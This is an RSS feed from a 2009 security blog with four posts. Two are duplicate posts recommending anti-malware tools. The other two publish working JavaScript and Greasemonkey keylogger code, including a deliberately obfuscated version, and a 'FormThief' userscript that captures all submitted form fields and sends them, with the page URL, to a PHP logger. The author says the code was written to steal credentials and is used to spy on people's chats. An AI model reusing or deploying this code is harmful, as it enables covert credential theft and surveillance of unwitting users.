<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>insanesecurity &#187; Userscript</title>
	<atom:link href="http://insanesecurity.info/blog/tag/userscript/feed" rel="self" type="application/rss+xml" />
	<link>http://insanesecurity.info/blog</link>
	<description>security through a distorted eye</description>
	<lastBuildDate>Thu, 25 Feb 2010 22:31:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Malware: a common threat</title>
		<link>http://insanesecurity.info/blog/malware-a-common-threat-2</link>
		<comments>http://insanesecurity.info/blog/malware-a-common-threat-2#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:45:53 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Userscript]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=69</guid>
		<description><![CDATA[Malware represents a common threat for all users out there surfing the web. It doesn&#8217;t have ethics or a message to spread, like viruses used to have (not all had dangerous payloads). Another thing about malware, as I pointed it out in my article about the AV industry, they tend to use the same code [...]]]></description>
			<content:encoded><![CDATA[<p>Malware represents a common threat for all users out there surfing the web. It doesn&#8217;t have ethics or a message to spread, like viruses used to have (not all had dangerous payloads).</p>
<p><span id="more-69"></span></p>
<p>
Another thing about malware, as I pointed it out in my article <a href="http://insanesecurity.info/2009/01/the-future-of-av-or-not/">about the AV industry</a>, they tend to use the same code with minor modification; to be read as strains. If you&#8217;re new to this term (Malware), then I would recommend you an introductive article: <a href="http://www.atmaxplorer.com/2007/12/protect-yourself-from-malware/">Stop malware in it&#8217;s tracks</a>.</p>
<p>Following the <a href="http://www.f-secure.com/weblog/archives/00001579.html">latest article on F-Secure</a> Downadup has <span class="rss:item"><strong>2,395,963</strong> infections worldwide. Of course this is an optimistic scenario, even for a skeptic person at numbers as I am. You can see now the big threat that malware posses, that&#8217;s why we should protect ourselves&#8230;</span><br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h2>Greasemonkey: Malware Script Detector</h2>
<p><a href="http://sourceforge.net/projects/gmsd/">Malware Script Detector</a> is a <a href="http://www.greasespot.net/">Greasmonkey</a> script which will:</p>
<blockquote><p>Detect &amp; Alert Malicious JavaScript : XSSProxy, XSS-Shell, AttackAPI, Beef. But No guarantee for full prevention of  XSS-Injection threats. Many ways to bypass it such as via iframes but I&#8217;m sure it protects you from casual attackers.The main objective of developing Malware Script Detector is that I&#8217;m so much afraid of XSSProxy, XSS-Shell, AttackAPI, Beef and I want to detect them. Malicious sites intentionally embed them. Firefox XSS Warning addon can&#8217;t check this.</p>
</blockquote>
<p>It&#8217;s a highly recommended script, because malware scripts can be as dangerous as normal malware. The difference is that normal malware posses little threat if you download software from official sources, and verify the checksum&#8230;</p>
<h2>Malware Blocker</h2>
<p><a href="http://sourceforge.net/projects/malwareblocker/">Malware Blocker</a> is a tool useful before and after infection. The description of the program (as taken from SourceForge):</p>
<blockquote><p>Malware-Blocker blocks communication from your computer to any server that is known to be a malicious one. It does that by replacing your HOSTS file (deep inside Windows directory) with a blacklist of malicious servers, which are redirected to 0.0.0.0</p>
</blockquote>
<p>The projects last update is from February 2005. Although likely outdated it maintains a constant number of downloads, this being the reason I recommend it. Who knows what funky old school malware will you cross upon one day&#8230;<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h2>MalZilla</h2>
<p>This is an unexpected turn, is it? First of all you would probably like to know what <a href="http://sourceforge.net/projects/malzilla/">MalZilla</a> is. In simple words:</p>
<blockquote><p>Malzilla is an advanced malware-hunting tool specialized for hunting web-based exploits, decode obfuscated JavaScripts etc.</p>
</blockquote>
<p>Although limited only for malware scripts I can guaranty you that its very good at it, giving you all the tools needed for such a task. More information in it&#8217;s own pdf file, which comes along with the package.</p>
<p>Most of you can ignore the last application presented, I would think that having the first two installed is more than enough for regular users. And no, it&#8217;s not dangerous playing with malware if you got the proper tools.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/malware-a-common-threat-2/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Javascript/Userscript Keylogger</title>
		<link>http://insanesecurity.info/blog/javascriptuserscript-keylogger</link>
		<comments>http://insanesecurity.info/blog/javascriptuserscript-keylogger#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:37:42 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Userscript]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=63</guid>
		<description><![CDATA[Some days ago while I was writing the (traffic magnet) article HYGHAAZG and mentioned the keylogger, instantly it came to mind a userscript one. Googled a bit, but didn&#8217;t seem to find any (quite amazed)&#8230; Having some time at hands today, I decided to make one myself. Basically I made it under three steps (was [...]]]></description>
			<content:encoded><![CDATA[<p>Some days ago while I was writing the (traffic magnet) article <del><a href="http://insanesecurity.info/2009/01/hacking-yahoogmailhotmail-accounts-a-z-guide/">HYGHAAZG</a></del> and mentioned the keylogger, instantly it came to mind a userscript one. Googled a bit, but didn&#8217;t seem to find any (quite amazed)&#8230;</p>
<p><span id="more-63"></span></p>
<p>
Having some time at hands today, I decided to make one myself. Basically I made it under three steps (was specially thought for a post). First of all this was the starting point of it, a.k.a. typical javascript keylogger:</p>
<pre>
var keys='';
document.onkeypress = function(e) {
	get = window.event?event:e;
	key = get.keyCode?get.keyCode:get.charCode;
	key = String.fromCharCode(key);
	keys+=key;
}
window.setInterval(function(){
	new Image().src = 'http://localhost/junkylogger.php?keys='+keys;
	keys = '';
}, 1000);
</pre>
<p>As you can see from the code a javascript keylogger is quite simple. Attach a function to the key pressing event, extract the character (the code of it) in the event and save it into a variable. Also declare a function (within an interval) that will send the logged keys to the backend which will save it into file/database.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script></p>
<p><script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>As malefic as it seems you should be real lucky to succeed in using it as a relevant keylogger. It would be a good module in an XSS worm.  Wanting more from a keylogger, I moved onward to GreaseMonkey which allows me to have a functional keylogger on every website I wish. Most of it it&#8217;s the same, difference is that I used <a href="http://diveintogreasemonkey.org/api/gm_setvalue.html">GM_setValue</a>/<a href="http://diveintogreasemonkey.org/api/gm_getvalue.html">GM_getValue</a> for storing the keys and had to use <a href="http://wiki.greasespot.net/UnsafeWindow">unsafeWindow</a> for accesing the key pressing event.</p>
<pre>
GM_setValue('keys', '');
unsafeWindow.onkeypress = function(e) {
	eventobj = window.event?event:e;
	key = eventobj.keyCode?eventobj.keyCode:eventobj.charCode;
	keys = GM_getValue('keys');
	keys+= String.fromCharCode(key);
	GM_setValue('keys', keys);
}

window.setInterval(function(){
	new Image().src = 'http://localhost/junkylogger.php?keys='+GM_getValue('keys');
	GM_setValue('keys', '');
}, 1000);
</pre>
<p><del><a href="http://insanesecurity.info/projects/keylogger/junkylogger.user.js">download/install/view</a></del></p>
<p>The next step was to give it a more obfuscated look, just to give a harder life to all those who understand Javascript to the minimum and take a look at the source of the script.</p>
<pre>
window.wrap = window;
wrap.strf = String.fromCharCode;
wrap.wind = strf(117,110,115,97,102,101,87,105,110,100,111,119);
wrap.ev   = strf(111, 110, 107, 101, 121, 112, 114, 101, 115, 115);
GM_setValue('q','');
Function('func', wind+"."+ev+" = func")(function(e) {
	e=window.event?window.event:e;
	k=e.charCode?e.charCode:e.keyCode;
	k=GM_getValue('q')+strf(k);
	GM_setValue('q', k);
});
wrap.loc = strf(104, 116, 116, 112, 58, 47, 47, 108, 111, 99, 97, 108, 104);
wrap.loc+= strf(111, 115, 116, 47, 106, 117, 110, 107, 121, 108, 111, 103, 103, 101);
wrap.loc+= strf(114, 46, 112, 104, 112, 63, 107, 101, 121, 115, 61);
window.setInterval(function(){new Image().src=wrap.loc+GM_getValue('q');GM_setValue('q','')},1000);
</pre>
<p><del><a href="http://insanesecurity.info/projects/keylogger/junkylogger-final.user.js">download/install/view</a></del></p>
<p>No, by downloading this you won&#8217;t have all your keystrokes logged (unless someone hacked the server and replaced it) because for testing I&#8217;ve used a php file on my localhost for logging, and that remained in the examples also.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>If you are new at Javascript/Userscripts the following links may be helpful to you: <a href="http://diveintogreasemonkey.org/">Dive Into GreaseMonkey</a>, <a href="http://wiki.greasespot.net/Main_Page">GreaseSpot</a> and <a href="http://www.free-itebooks.com/free-ebooks-javascript/">Javascript eBooks</a>. And yes Userscripts are also available for IE/Opera&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/javascriptuserscript-keylogger/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>FormJacking</title>
		<link>http://insanesecurity.info/blog/formjacking</link>
		<comments>http://insanesecurity.info/blog/formjacking#comments</comments>
		<pubDate>Wed, 24 Jun 2009 06:08:11 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[Userscript]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=38</guid>
		<description><![CDATA[With all the buzz around Clickjacking I had to come up with an article which would contain that word, or at least a part of it. This article could be also named Form Thievery, but it wouldn&#8217;t sound that cool, would it? Last userscript I wrote was a keylogger, which seems that a lot of [...]]]></description>
			<content:encoded><![CDATA[<p>With all the buzz around <a href="http://insanesecurity.info/2009/02/1-2-3-clickjacking/">Clickjacking </a> I had to come up with an article which would contain that word, or at least a part of it. This article could be also named Form Thievery, but it wouldn&#8217;t sound that <q>cool</q>, would it?</p>
<p><span id="more-38"></span><br />
Last <a href="http://insanesecurity.info/tag/userscript/">userscript</a> I wrote was a <a href="http://insanesecurity.info/2009/01/javascript-userscript-keylogger/">keylogger</a>, which seems that a lot of people have liked, and which for the most common of its use was an overkill.</p>
<p>Why overkill? Because most of those (if not all) who search for a keylogger will use it for stealing credentials. That was also my reason for writing it in the first place, although recently use it for spying web based IM conversations >:). Also may have been circumvented by most common anti-keylogger tricks, like on-screen keyboards.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p><a href="http://insanesecurity.info/projects/formjacking/formthief.user.js">FormThief</a> (that&#8217;s how I named the userscript) even if not perfect, a.k.a. authentication fails in places where forms have an associated an action on the submit event (such example may be <a href="http://login.yahoo.com">login.yahoo.com</a>) will be quite enough for most of the cases you&#8217;ll want it. The script has the following code:</p>
<pre name="code" class="javascript">
(function(){
    var num = document.forms.length;
    for(var i=0;i&lt;num;i++) {
        unsafeWindow.document.forms[i].addEventListener('submit', function(e) {
            var form = e.currentTarget;
            var num = form.length;
            var send = '?';
            for(var i=0;i&lt;num;i++) {
                send += form[i].name + '=';
                send += form[i].value + '&#038;';
            }
            send += 'ThiefedURL=' + unsafeWindow.location;
            new Image().src = 'http://127.0.0.1/fj.php'+encodeURI(send);
            return true;
        }, true);
    }
})()
</pre>
<p><del><a href="http://insanesecurity.info/projects/formjacking/formthief.user.js">view/install</a></del></p>
<p>As in the <a href="http://insanesecurity.info/2009/01/javascript-userscript-keylogger/">junkylogger</a> have used unsafeWindow for accessing the content, and the Image object to send the <q>logged/hijacked</q> data. As for the logging php file you could take the same approach as I did:</p>
<pre name="code" class="php">

$str = "\n\n";
foreach($_GET as $key=>$val) {
    $str .= $key.'['.$val.']'."\n";
}

$fp = fopen('data.txt', 'a');
fwrite($fp, $str);
fclose($fp);
</pre>
<p>Nothing new in the concept, just wanted to share it with you because I felt that it is a good addition to the <a href="http://insanesecurity.info/tag/userscript/">Userscript</a> keylogger, completing it where it could have failed and vice versa. With well crafted <a href="http://diveintogreasemonkey.org/helloworld/metadata.html">@include, @exclude metadata</a>&#8217;s the two userscripts can make wonders, at least for me ;) </p>
<p><strong>UPDATE:</strong> modified the userscript, attached the function as kl suggested, know it works in any page (even login.yahoo.com). Also now appending the ThiefedURL parameter to see in the logs which form was hijacked.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/formjacking/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Malware: a common threat</title>
		<link>http://insanesecurity.info/blog/malware-a-common-threat</link>
		<comments>http://insanesecurity.info/blog/malware-a-common-threat#comments</comments>
		<pubDate>Wed, 24 Jun 2009 05:53:39 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Userscript]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=24</guid>
		<description><![CDATA[Malware represents a common threat for all users out there surfing the web. It doesn&#8217;t have ethics or a message to spread, like viruses used to have (not all had dangerous payloads). Another thing about malware, as I pointed it out in my article about the AV industry, they tend to use the same code [...]]]></description>
			<content:encoded><![CDATA[<p>Malware represents a common threat for all users out there surfing the web. It doesn&#8217;t have ethics or a message to spread, like viruses used to have (not all had dangerous payloads).</p>
<p><span id="more-24"></span><br />
Another thing about malware, as I pointed it out in my article <a href="http://insanesecurity.info/2009/01/the-future-of-av-or-not/">about the AV industry</a>, they tend to use the same code with minor modification; to be read as strains. If you&#8217;re new to this term (Malware), then I would recommend you an introductive article: <a href="http://www.atmaxplorer.com/2007/12/protect-yourself-from-malware/">Stop malware in it&#8217;s tracks</a>.</p>
<p>Following the <a href="http://www.f-secure.com/weblog/archives/00001579.html">latest article on F-Secure</a> Downadup has <span class="rss:item"><strong>2,395,963</strong> infections worldwide. Of course this is an optimistic scenario, even for a skeptic person at numbers as I am. You can see now the big threat that malware posses, that&#8217;s why we should protect ourselves&#8230;</span><br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h2>Greasemonkey: Malware Script Detector</h2>
<p><a href="http://sourceforge.net/projects/gmsd/">Malware Script Detector</a> is a <a href="http://www.greasespot.net/">Greasmonkey</a> script which will:</p>
<blockquote><p>Detect &amp; Alert Malicious JavaScript : XSSProxy, XSS-Shell, AttackAPI, Beef. But No guarantee for full prevention of  XSS-Injection threats. Many ways to bypass it such as via iframes but I&#8217;m sure it protects you from casual attackers.The main objective of developing Malware Script Detector is that I&#8217;m so much afraid of XSSProxy, XSS-Shell, AttackAPI, Beef and I want to detect them. Malicious sites intentionally embed them. Firefox XSS Warning addon can&#8217;t check this.</p>
</blockquote>
<p>It&#8217;s a highly recommended script, because malware scripts can be as dangerous as normal malware. The difference is that normal malware posses little threat if you download software from official sources, and verify the checksum&#8230;</p>
<h2>Malware Blocker</h2>
<p><a href="http://sourceforge.net/projects/malwareblocker/">Malware Blocker</a> is a tool useful before and after infection. The description of the program (as taken from SourceForge):</p>
<blockquote><p>Malware-Blocker blocks communication from your computer to any server that is known to be a malicious one. It does that by replacing your HOSTS file (deep inside Windows directory) with a blacklist of malicious servers, which are redirected to 0.0.0.0</p>
</blockquote>
<p>The projects last update is from February 2005. Although likely outdated it maintains a constant number of downloads, this being the reason I recommend it. Who knows what funky old school malware will you cross upon one day&#8230;<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h2>MalZilla</h2>
<p>This is an unexpected turn, is it? First of all you would probably like to know what <a href="http://sourceforge.net/projects/malzilla/">MalZilla</a> is. In simple words:</p>
<blockquote><p>Malzilla is an advanced malware-hunting tool specialized for hunting web-based exploits, decode obfuscated JavaScripts etc.</p>
</blockquote>
<p>Although limited only for malware scripts I can guaranty you that its very good at it, giving you all the tools needed for such a task. More information in it&#8217;s own pdf file, which comes along with the package.</p>
<p>Most of you can ignore the last application presented, I would think that having the first two installed is more than enough for regular users. And no, it&#8217;s not dangerous playing with malware if you got the proper tools.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/malware-a-common-threat/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
